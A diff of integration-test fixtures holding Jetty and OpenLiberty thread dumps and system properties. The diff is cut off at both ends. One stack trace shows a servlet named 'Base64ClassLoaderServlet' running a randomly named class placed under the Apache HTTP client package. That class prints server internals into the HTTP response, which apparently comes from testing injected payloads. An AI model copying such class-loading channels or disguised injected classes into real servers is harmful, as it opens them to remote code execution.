java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at app//org.eclipse.jetty.util.thread.AutoLock$WithCondition.awaitNanos(AutoLock.java:194) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:273) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1169) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1186) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"qtp852687460-29" #29 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:615) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:549) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:509) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:251) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:204) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:312) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:1009) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1239) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1194) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"DestroyJavaVM" #37 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp852687460-35" #35 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:615) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:549) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:509) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:251) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:204) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:312) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:1009) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1239) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1194) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Notification Thread" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Signal Dispatcher" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"qtp852687460-21" #21 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:615) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:549) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:509) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:251) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:204) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:312) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:1009) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1239) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1194) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"qtp852687460-33" #33 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@666badc6 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at app//org.eclipse.jetty.util.thread.AutoLock$WithCondition.awaitNanos(AutoLock.java:194) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:273) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1169) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1186) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Scheduler-798244209-1" #36 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b95f324 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.9/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.9/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"qtp852687460-30" #30 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.9/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.9/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:147) + at app//org.eclipse.jetty.io.ManagedSelector.nioSelect(ManagedSelector.java:183) + at app//org.eclipse.jetty.io.ManagedSelector.select(ManagedSelector.java:190) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.select(ManagedSelector.java:615) + at app//org.eclipse.jetty.io.ManagedSelector$SelectorProducer.produce(ManagedSelector.java:549) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produceTask(AdaptiveExecutionStrategy.java:509) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:251) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.run(AdaptiveExecutionStrategy.java:204) + at app//org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread.run(ReservedThreadExecutor.java:312) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:1009) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1239) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1194) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"qtp852687460-27" #27 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/java.lang.Thread.dumpThreads(Native Method) + at java.base@21.0.9/java.lang.Thread.getAllStackTraces(Thread.java:2522) + at org.apache.http.client.zsNOK.ErrorHandler.toString(BasicInfoPrinter.java:26) + at java.base@21.0.9/java.lang.String.valueOf(String.java:4465) + at org.eclipse.jetty.ee11.servlet.ResponseWriter.print(ResponseWriter.java:316) + at jakarta.Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:29) + at org.eclipse.jetty.ee11.servlet.ServletHolder$NotAsync.service(ServletHolder.java:1393) + at org.eclipse.jetty.ee11.servlet.ServletHolder.handle(ServletHolder.java:750) + at org.eclipse.jetty.ee11.servlet.ServletHandler$ChainEnd.doFilter(ServletHandler.java:1668) + at jakarta.EmptyFilter.doFilter(EmptyFilter.java:15) + at org.eclipse.jetty.ee11.servlet.FilterHolder.doFilter(FilterHolder.java:208) + at org.eclipse.jetty.ee11.servlet.ServletHandler$Chain.doFilter(ServletHandler.java:1640) + at org.eclipse.jetty.ee11.servlet.ServletHandler$MappedServlet.handle(ServletHandler.java:1602) + at org.eclipse.jetty.ee11.servlet.ServletChannel.dispatch(ServletChannel.java:808) + at org.eclipse.jetty.ee11.servlet.ServletChannel.handle(ServletChannel.java:443) + at org.eclipse.jetty.ee11.servlet.ServletHandler.handle(ServletHandler.java:470) + at app//org.eclipse.jetty.security.SecurityHandler.handle(SecurityHandler.java:575) + at org.eclipse.jetty.ee11.servlet.SessionHandler.handle(SessionHandler.java:763) + at app//org.eclipse.jetty.server.handler.ContextHandler.handle(ContextHandler.java:1220) + at app//org.eclipse.jetty.server.handler.ContextHandlerCollection.handle(ContextHandlerCollection.java:148) + at app//org.eclipse.jetty.server.Server.handle(Server.java:195) + at app//org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker.run(HttpChannelState.java:680) + at app//org.eclipse.jetty.server.internal.HttpConnection.onFillable(HttpConnection.java:411) + at app//org.eclipse.jetty.server.internal.HttpConnection$FillableCallback.succeeded(HttpConnection.java:1809) + at app//org.eclipse.jetty.io.FillInterest.fillable(FillInterest.java:105) + at app//org.eclipse.jetty.io.SelectableChannelEndPoint$1.run(SelectableChannelEndPoint.java:54) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.runTask(AdaptiveExecutionStrategy.java:492) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.epcRunTask(AdaptiveExecutionStrategy.java:428) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.consumeTask(AdaptiveExecutionStrategy.java:401) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.tryProduce(AdaptiveExecutionStrategy.java:255) + at app//org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy.produce(AdaptiveExecutionStrategy.java:196) + at app//org.eclipse.jetty.io.ManagedSelector$$Lambda/0x0000742bd81c6050.run(Unknown Source) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:1009) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1239) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1194) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"Reference Handler" #9 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@21.0.9/java.lang.ref.Reference.processPendingReferences(Reference.java:246) + at java.base@21.0.9/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:208) + +"Finalizer" #10 daemon [WAITING] on java.lang.ref.NativeReferenceQueue$Lock@1401aa94 + java.lang.Thread.State: WAITING + at java.base@21.0.9/java.lang.Object.wait0(Native Method) + at java.base@21.0.9/java.lang.Object.wait(Object.java:366) + at java.base@21.0.9/java.lang.Object.wait(Object.java:339) + at java.base@21.0.9/java.lang.ref.NativeReferenceQueue.await(NativeReferenceQueue.java:48) + at java.base@21.0.9/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:158) + at java.base@21.0.9/java.lang.ref.NativeReferenceQueue.remove(NativeReferenceQueue.java:89) + at java.base@21.0.9/java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:173) + +"qtp852687460-31" #31 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@666badc6 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.9/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.9/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.9/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at app//org.eclipse.jetty.util.thread.AutoLock$WithCondition.awaitNanos(AutoLock.java:194) + at app//org.eclipse.jetty.util.BlockingArrayQueue.poll(BlockingArrayQueue.java:273) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.idleJobPoll(QueuedThreadPool.java:1169) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1186) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + +"qtp852687460-32-acceptor-0@2aaa653-oejs.ServerConnector@4c559652{HTTP/1.1, (http/1.1)}{0.0.0.0:8080}" #32 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.9/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.9/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:433) + at java.base@21.0.9/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:399) + at app//org.eclipse.jetty.server.ServerConnector.accept(ServerConnector.java:389) + at app//org.eclipse.jetty.server.AbstractConnector$Acceptor.run(AbstractConnector.java:707) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool.runJob(QueuedThreadPool.java:1009) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.doRunJob(QueuedThreadPool.java:1239) + at app//org.eclipse.jetty.util.thread.QueuedThreadPool$Runner.run(QueuedThreadPool.java:1194) + at java.base@21.0.9/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.9/java.lang.Thread.run(Thread.java:1583) + + +=========================================== + +StackClassNames: +jakarta.Base64ClassLoaderServlet +jakarta.EmptyFilter +org.apache.http.client.zsNOK.ErrorHandler +org.eclipse.jetty.ee11.servlet.FilterHolder +org.eclipse.jetty.ee11.servlet.ResponseWriter +org.eclipse.jetty.ee11.servlet.ServletChannel +org.eclipse.jetty.ee11.servlet.ServletHandler +org.eclipse.jetty.ee11.servlet.ServletHandler$Chain +org.eclipse.jetty.ee11.servlet.ServletHandler$ChainEnd +org.eclipse.jetty.ee11.servlet.ServletHandler$MappedServlet +org.eclipse.jetty.ee11.servlet.ServletHolder +org.eclipse.jetty.ee11.servlet.ServletHolder$NotAsync +org.eclipse.jetty.ee11.servlet.SessionHandler +org.eclipse.jetty.io.FillInterest +org.eclipse.jetty.io.ManagedSelector +org.eclipse.jetty.io.ManagedSelector$$Lambda/0x0000742bd81c6050 +org.eclipse.jetty.io.ManagedSelector$SelectorProducer +org.eclipse.jetty.io.SelectableChannelEndPoint$1 +org.eclipse.jetty.security.SecurityHandler +org.eclipse.jetty.server.AbstractConnector$Acceptor +org.eclipse.jetty.server.Server +org.eclipse.jetty.server.ServerConnector +org.eclipse.jetty.server.handler.ContextHandler +org.eclipse.jetty.server.handler.ContextHandlerCollection +org.eclipse.jetty.server.internal.HttpChannelState$HandlerInvoker +org.eclipse.jetty.server.internal.HttpConnection +org.eclipse.jetty.server.internal.HttpConnection$FillableCallback +org.eclipse.jetty.util.BlockingArrayQueue +org.eclipse.jetty.util.thread.AutoLock$WithCondition +org.eclipse.jetty.util.thread.QueuedThreadPool +org.eclipse.jetty.util.thread.QueuedThreadPool$Runner +org.eclipse.jetty.util.thread.ReservedThreadExecutor$ReservedThread +org.eclipse.jetty.util.thread.strategy.AdaptiveExecutionStrategy diff --git a/integration-test/src/test/resources/infos/OpenLiberty18ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/OpenLiberty18ContainerTestBasicInfo.txt new file mode 100644 index 00000000..b96ec696 --- /dev/null +++ b/integration-test/src/test/resources/infos/OpenLiberty18ContainerTestBasicInfo.txt @@ -0,0 +1,722 @@ +# Generated At 2025-12-21 06:35:05 +SystemProps: +java.vendor: IBM Corporation +sun.java.launcher: SUN_STANDARD +shared.resource.dir: /opt/ol/wlp/usr/shared/resources/ +os.name: Linux +kernel.launch.time: 376323694241719 +sun.boot.class.path: /opt/ibm/java/jre/lib/amd64/compressedrefs/jclSC180/vm.jar:/opt/ibm/java/jre/lib/se-service.jar:/opt/ibm/java/jre/lib/math.jar:/opt/ibm/java/jre/lib/ibmorb.jar:/opt/ibm/java/jre/lib/ibmorbapi.jar:/opt/ibm/java/jre/lib/ibmcfw.jar:/opt/ibm/java/jre/lib/ibmpkcs.jar:/opt/ibm/java/jre/lib/ibmcertpathfw.jar:/opt/ibm/java/jre/lib/ibmjgssfw.jar:/opt/ibm/java/jre/lib/ibmjssefw.jar:/opt/ibm/java/jre/lib/ibmsaslfw.jar:/opt/ibm/java/jre/lib/ibmjcefw.jar:/opt/ibm/java/jre/lib/ibmjgssprovider.jar:/opt/ibm/java/jre/lib/ibmjsseprovider2.jar:/opt/ibm/java/jre/lib/ibmcertpathprovider.jar:/opt/ibm/java/jre/lib/xmldsigfw.jar:/opt/ibm/java/jre/lib/xml.jar:/opt/ibm/java/jre/lib/charsets.jar:/opt/ibm/java/jre/lib/resources.jar:/opt/ibm/java/jre/lib/rt.jar:/opt/ibm/java/jre/lib/dataaccess.jar +java.vm.specification.vendor: Oracle Corporation +shared.app.dir: /opt/ol/wlp/usr/shared/apps/ +java.runtime.version: 8.0.5.36 - pxa6480sr5fp36-20190510_01(SR5 FP36) +wlp.lib.dir: /opt/ol/wlp/lib/ +user.name: default +java.compiler: j9jit29 +os.encoding: ANSI_X3.4-1968 +com.ibm.util.extralibs.properties: +com.ibm.jcl.checkClassPath: +server.tmp.dir: /opt/ol/wlp/output/defaultServer/workarea/tmp/ +user.language: en +com.ibm.oti.vm.bootstrap.library.path: /opt/ibm/java/jre/lib/amd64/compressedrefs:/opt/ibm/java/jre/lib/amd64 +sun.boot.library.path: /opt/ibm/java/jre/lib/amd64/compressedrefs:/opt/ibm/java/jre/lib/amd64 +wlp.install.dir: /opt/ol/wlp/ +server.output.dir: /opt/ol/wlp/output/defaultServer/ +java.version: 1.8.0_211 +java.util.logging.manager: com.ibm.ws.kernel.boot.logging.WsLogManager +user.timezone: UTC +com.ibm.system.agent.path: /opt/ibm/java/jre/lib/amd64 +sun.arch.data.model: 64 +com.ibm.zero.version: 2 +java.endorsed.dirs: /opt/ibm/java/jre/lib/endorsed +com.ibm.oti.vm.library.version: 29 +sun.jnu.encoding: ANSI_X3.4-1968 +file.encoding.pkg: sun.io +file.separator: / +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +user.country: US +java.home: /opt/ibm/java/jre +java.vm.info: JRE 1.8.0 Linux amd64-64-Bit Compressed References 20190502_415899 (JIT enabled, AOT enabled) +OpenJ9 - 46e57f9 +OMR - 06a046a +IBM - 0b909bf +os.version: 6.17.8-orbstack-00308-g8f9c941121b1 +java.awt.fonts: +path.separator: : +org.apache.aries.blueprint.preemptiveShutdown: false +java.vm.version: 2.9 +user.variant: +wlp.user.dir.isDefault: true +ibm.cds.suppresserrors: true +java.awt.printerjob: sun.print.PSPrinterJob +sun.io.unicode.encoding: UnicodeLittle +awt.toolkit: sun.awt.X11.XToolkit +ibm.signalhandling.sigint: true +org.apache.cxf.stax.allowInsecureParser: 1 +user.home: /home/default +com.ibm.cpu.endian: little +java.specification.vendor: Oracle Corporation +ibm.signalhandling.sigchain: true +org.jboss.weld.xml.disableValidating: true +java.library.path: /opt/ibm/java/jre/lib/amd64/compressedrefs:/opt/ibm/java/jre/lib/amd64:/usr/lib64:/usr/lib +java.vendor.url: http://www.ibm.com +java.vm.vendor: IBM Corporation +java.fullversion: 8.0.5.36 - pxa6480sr5fp36-20190510_01(SR5 FP36) +JRE 1.8.0 Linux amd64-64-Bit Compressed References 20190502_415899 (JIT enabled, AOT enabled) +OpenJ9 - 46e57f9 +OMR - 06a046a +IBM - 0b909bf +java.runtime.name: Java(TM) SE Runtime Environment +sun.net.http.retryPost: false +sun.java.command: /opt/ol/wlp/bin/tools/ws-server.jar defaultServer +java.class.path: /opt/ol/wlp/bin/tools/ws-server.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar:/opt/ol/wlp/bin/tools/ws-javaagent.jar +server.config.dir: /opt/ol/wlp/usr/servers/defaultServer/ +wlp.user.dir: /opt/ol/wlp/usr/ +java.vm.specification.name: Java Virtual Machine Specification +sun.java.launcher.pid: 1 +java.vm.specification.version: 1.8 +sun.cpu.endian: little +java.awt.headless: true +java.io.tmpdir: /tmp +ibm.system.encoding: ANSI_X3.4-1968 +shared.config.dir: /opt/ol/wlp/usr/shared/config/ +os.arch: amd64 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +ibm.signalhandling.rs: false +java.ext.dirs: /opt/ibm/java/jre/lib/ext +user.dir: /opt/ol/wlp/output/defaultServer +line.separator: + +java.vm.name: IBM J9 VM +com.ibm.oti.shared.enabled: true +com.ibm.vm.bitmode: 64 +wlp.process.type: server +javax.management.builder.initial: com.ibm.ws.kernel.boot.jmx.internal.PlatformMBeanServerBuilder +file.encoding: ANSI_X3.4-1968 +java.specification.version: 1.8 +com.ibm.oti.configuration: scar +wlp.server.name: defaultServer + +=========================================== + +ThreadStacks: +"Default Executor-thread-9" #60 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@5c2a3d77 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Inbound Write Selector.1" #57 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:281) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:105) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:98) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:109) + at com.ibm.ws.tcpchannel.internal.ChannelSelector.run(ChannelSelector.java:144) + at java.lang.Thread.run(Thread.java:812) + +"Concurrent Mark Helper" #14 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Default Executor-thread-7" #55 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@769eb7a8 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-6" #53 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@83a8d8d4 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-15" #67 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@8759118d + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Timer-3" #54 daemon [WAITING] on java.util.TaskQueue@7d53a149 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:189) + at java.util.TimerThread.mainLoop(Timer.java:537) + at java.util.TimerThread.run(Timer.java:516) + +"Default Executor-thread-5" #52 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@f0adbd1a + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Timer-0" #29 [TIMED_WAITING] on java.util.TaskQueue@2320fd74 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at java.util.TimerThread.mainLoop(Timer.java:563) + at java.util.TimerThread.run(Timer.java:516) + +"Default Executor-thread-18" #71 daemon [WAITING] on com.ibm.ws.threading.internal.BoundedBuffer$GetQueueLock@c254df08 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:218) + at com.ibm.ws.threading.internal.BoundedBuffer.waitGet_(BoundedBuffer.java:176) + at com.ibm.ws.threading.internal.BoundedBuffer.take(BoundedBuffer.java:647) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1085) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.lang.Thread.run(Thread.java:812) + +"Default Executor-thread-1" #47 daemon [WAITING] on 